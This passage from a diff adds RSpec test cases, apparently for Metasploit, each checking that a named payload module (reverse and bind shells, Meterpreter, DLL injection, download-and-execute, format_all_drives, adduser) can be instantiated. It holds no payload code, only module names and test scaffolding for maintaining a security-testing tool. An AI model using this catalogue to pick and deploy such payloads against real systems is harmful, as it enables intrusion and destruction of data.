'stagers/linux/x64/reverse_tcp', + 'stages/linux/x64/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell/reverse_tcp' + end + + context 'linux/x64/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x64/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell_bind_tcp' + end + + context 'linux/x64/shell_bind_tcp_random_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x64/shell_bind_tcp_random_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell_bind_tcp_random_port' + end + + context 'linux/x64/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x64/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell_find_port' + end + + context 'linux/x64/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x64/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x64/shell_reverse_tcp' + end + + context 'linux/x86/adduser' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/adduser' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/adduser' + end + + context 'linux/x86/chmod' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/chmod' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/chmod' + end + + context 'linux/x86/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/exec' + end + + context 'linux/x86/meterpreter/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_ipv6_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/bind_ipv6_tcp' + end + + context 'linux/x86/meterpreter/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_nonx_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/bind_nonx_tcp' + end + + context 'linux/x86/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/bind_tcp' + end + + context 'linux/x86/meterpreter/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/find_tag', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/find_tag' + end + + context 'linux/x86/meterpreter/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_ipv6_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/reverse_ipv6_tcp' + end + + context 'linux/x86/meterpreter/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_nonx_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/reverse_nonx_tcp' + end + + context 'linux/x86/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_tcp', + 'stages/linux/x86/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/meterpreter/reverse_tcp' + end + + context 'linux/x86/metsvc_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/metsvc_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/metsvc_bind_tcp' + end + + context 'linux/x86/metsvc_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/metsvc_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/metsvc_reverse_tcp' + end + + context 'linux/x86/read_file' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/read_file' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/read_file' + end + + context 'linux/x86/shell/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_ipv6_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/bind_ipv6_tcp' + end + + context 'linux/x86/shell/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_nonx_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/bind_nonx_tcp' + end + + context 'linux/x86/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/bind_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/bind_tcp' + end + + context 'linux/x86/shell/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/find_tag', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/find_tag' + end + + context 'linux/x86/shell/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_ipv6_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/reverse_ipv6_tcp' + end + + context 'linux/x86/shell/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_nonx_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/reverse_nonx_tcp' + end + + context 'linux/x86/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/linux/x86/reverse_tcp', + 'stages/linux/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell/reverse_tcp' + end + + context 'linux/x86/shell_bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_bind_ipv6_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_bind_ipv6_tcp' + end + + context 'linux/x86/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_bind_tcp' + end + + context 'linux/x86/shell_bind_tcp_random_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_bind_tcp_random_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_bind_tcp_random_port' + end + + context 'linux/x86/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_find_port' + end + + context 'linux/x86/shell_find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_find_tag' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_find_tag' + end + + context 'linux/x86/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_reverse_tcp' + end + + context 'linux/x86/shell_reverse_tcp2' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/linux/x86/shell_reverse_tcp2' + ], + modules_pathname: modules_pathname, + reference_name: 'linux/x86/shell_reverse_tcp2' + end + + context 'netware/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/netware/reverse_tcp', + 'stages/netware/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'netware/shell/reverse_tcp' + end + + context 'nodejs/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/nodejs/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'nodejs/shell_bind_tcp' + end + + context 'nodejs/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/nodejs/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'nodejs/shell_reverse_tcp' + end + + context 'nodejs/shell_reverse_tcp_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/nodejs/shell_reverse_tcp_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'nodejs/shell_reverse_tcp_ssl' + end + + context 'osx/armle/execute/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/armle/bind_tcp', + 'stages/osx/armle/execute' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/execute/bind_tcp' + end + + context 'osx/armle/execute/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/armle/reverse_tcp', + 'stages/osx/armle/execute' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/execute/reverse_tcp' + end + + context 'osx/armle/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/armle/bind_tcp', + 'stages/osx/armle/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/shell/bind_tcp' + end + + context 'osx/armle/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/armle/reverse_tcp', + 'stages/osx/armle/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/shell/reverse_tcp' + end + + context 'osx/armle/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/armle/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/shell_bind_tcp' + end + + context 'osx/armle/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/armle/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/shell_reverse_tcp' + end + + context 'osx/armle/vibrate' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/armle/vibrate' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/armle/vibrate' + end + + context 'osx/ppc/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/ppc/bind_tcp', + 'stages/osx/ppc/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/ppc/shell/bind_tcp' + end + + context 'osx/ppc/shell/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/ppc/find_tag', + 'stages/osx/ppc/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/ppc/shell/find_tag' + end + + context 'osx/ppc/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/ppc/reverse_tcp', + 'stages/osx/ppc/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/ppc/shell/reverse_tcp' + end + + context 'osx/ppc/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/ppc/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/ppc/shell_bind_tcp' + end + + context 'osx/ppc/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/ppc/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/ppc/shell_reverse_tcp' + end + + context 'osx/x64/dupandexecve/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x64/bind_tcp', + 'stages/osx/x64/dupandexecve' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/dupandexecve/bind_tcp' + end + + context 'osx/x64/dupandexecve/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x64/reverse_tcp', + 'stages/osx/x64/dupandexecve' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/dupandexecve/reverse_tcp' + end + + context 'osx/x64/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x64/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/exec' + end + + context 'osx/x64/say' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x64/say' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/say' + end + + context 'osx/x64/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x64/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/shell_bind_tcp' + end + + context 'osx/x64/shell_find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x64/shell_find_tag' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/shell_find_tag' + end + + context 'osx/x64/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x64/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x64/shell_reverse_tcp' + end + + context 'osx/x86/bundleinject/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/bind_tcp', + 'stages/osx/x86/bundleinject' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/bundleinject/bind_tcp' + end + + context 'osx/x86/bundleinject/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/reverse_tcp', + 'stages/osx/x86/bundleinject', + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/bundleinject/reverse_tcp' + end + + context 'osx/x86/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/exec' + end + + context 'osx/x86/isight/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/bind_tcp', + 'stages/osx/x86/isight' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/isight/bind_tcp' + end + + context 'osx/x86/isight/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/reverse_tcp', + 'stages/osx/x86/isight' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/isight/reverse_tcp' + end + + context 'osx/x86/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/shell_bind_tcp' + end + + context 'osx/x86/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/shell_find_port' + end + + context 'osx/x86/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/shell_reverse_tcp' + end + + context 'osx/x86/vforkshell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/bind_tcp', + 'stages/osx/x86/vforkshell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/vforkshell/bind_tcp' + end + + context 'osx/x86/vforkshell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/osx/x86/reverse_tcp', + 'stages/osx/x86/vforkshell' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/vforkshell/reverse_tcp' + end + + context 'osx/x86/vforkshell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/vforkshell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/vforkshell_bind_tcp' + end + + context 'osx/x86/vforkshell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/osx/x86/vforkshell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'osx/x86/vforkshell_reverse_tcp' + end + + context 'php/bind_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/bind_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'php/bind_perl' + end + + context 'php/bind_perl_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/bind_perl_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'php/bind_perl_ipv6' + end + + context 'php/bind_php' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/bind_php' + ], + modules_pathname: modules_pathname, + reference_name: 'php/bind_php' + end + + context 'php/bind_php_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/bind_php_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'php/bind_php_ipv6' + end + + context 'php/download_exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/download_exec' + ], + modules_pathname: modules_pathname, + reference_name: 'php/download_exec' + end + + context 'php/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'php/exec' + end + + context 'php/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/php/bind_tcp', + 'stages/php/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/bind_tcp' + end + + context 'php/meterpreter/bind_tcp_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/php/bind_tcp_ipv6', + 'stages/php/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/bind_tcp_ipv6' + end + + context 'php/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/php/reverse_tcp', + 'stages/php/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter/reverse_tcp' + end + + context 'php/meterpreter_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/meterpreter_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'php/meterpreter_reverse_tcp' + end + + context 'php/reverse_perl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/reverse_perl' + ], + modules_pathname: modules_pathname, + reference_name: 'php/reverse_perl' + end + + context 'php/reverse_php' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/reverse_php' + ], + modules_pathname: modules_pathname, + reference_name: 'php/reverse_php' + end + + context 'php/shell_findsock' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/php/shell_findsock' + ], + modules_pathname: modules_pathname, + reference_name: 'php/shell_findsock' + end + + context 'python/meterpreter/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/python/bind_tcp', + 'stages/python/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/bind_tcp' + end + + context 'python/meterpreter/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/python/reverse_http', + 'stages/python/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/reverse_http' + end + + context 'python/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/python/reverse_tcp', + 'stages/python/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'python/meterpreter/reverse_tcp' + end + + context 'python/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/python/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'python/shell_reverse_tcp' + end + + context 'python/shell_reverse_tcp_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/python/shell_reverse_tcp_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'python/shell_reverse_tcp_ssl' + end + + context 'ruby/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/ruby/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'ruby/shell_bind_tcp' + end + + context 'ruby/shell_bind_tcp_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/ruby/shell_bind_tcp_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'ruby/shell_bind_tcp_ipv6' + end + + context 'ruby/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/ruby/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'ruby/shell_reverse_tcp' + end + + context 'ruby/shell_reverse_tcp_ssl' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/ruby/shell_reverse_tcp_ssl' + ], + modules_pathname: modules_pathname, + reference_name: 'ruby/shell_reverse_tcp_ssl' + end + + context 'solaris/sparc/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/sparc/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/sparc/shell_bind_tcp' + end + + context 'solaris/sparc/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/sparc/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/sparc/shell_find_port' + end + + context 'solaris/sparc/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/sparc/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/sparc/shell_reverse_tcp' + end + + context 'solaris/x86/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/x86/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/x86/shell_bind_tcp' + end + + context 'solaris/x86/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/x86/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/x86/shell_find_port' + end + + context 'solaris/x86/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/solaris/x86/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'solaris/x86/shell_reverse_tcp' + end + + context 'tty/unix/interact' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/tty/unix/interact' + ], + modules_pathname: modules_pathname, + reference_name: 'tty/unix/interact' + end + + context 'windows/adduser' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/adduser' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/adduser' + end + + context 'windows/dllinject/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_ipv6_tcp' + end + + context 'windows/dllinject/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_nonx_tcp' + end + + context 'windows/dllinject/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_tcp' + end + + context 'windows/dllinject/bind_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_tcp_rc4', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_tcp_rc4' + end + + context 'windows/dllinject/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/findtag_ord', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/find_tag' + end + + context 'windows/dllinject/reverse_hop_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_hop_http', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_hop_http' + end + + context 'windows/dllinject/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_http', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_http' + end + + context 'windows/dllinject/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ipv6_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_ipv6_tcp' + end + + context 'windows/dllinject/reverse_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_nonx_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_nonx_tcp' + end + + context 'windows/dllinject/reverse_ord_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_ord_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_ord_tcp' + end + + context 'windows/dllinject/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_tcp' + end + + context 'windows/dllinject/reverse_tcp_allports' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_allports', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_tcp_allports' + end + + context 'windows/dllinject/reverse_tcp_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_dns', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_tcp_dns' + end + + context 'windows/dllinject/reverse_tcp_rc4' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_tcp_rc4' + end + + context 'windows/dllinject/reverse_tcp_rc4_dns' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/reverse_tcp_rc4_dns', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_tcp_rc4_dns' + end + + context 'windows/dns_txt_query_exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/dns_txt_query_exec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dns_txt_query_exec' + end + + context 'windows/download_exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/download_exec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/download_exec' + end + + context 'windows/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/exec' + end + + context 'windows/format_all_drives' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/format_all_drives' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/format_all_drives' + end + + context 'windows/loadlibrary' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/loadlibrary' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/loadlibrary' + end + + context 'windows/messagebox' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/windows/messagebox' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/messagebox' + end + + context 'windows/meterpreter/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_ipv6_tcp' + end + + context 'windows/meterpreter/bind_nonx_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_nonx_tcp', + 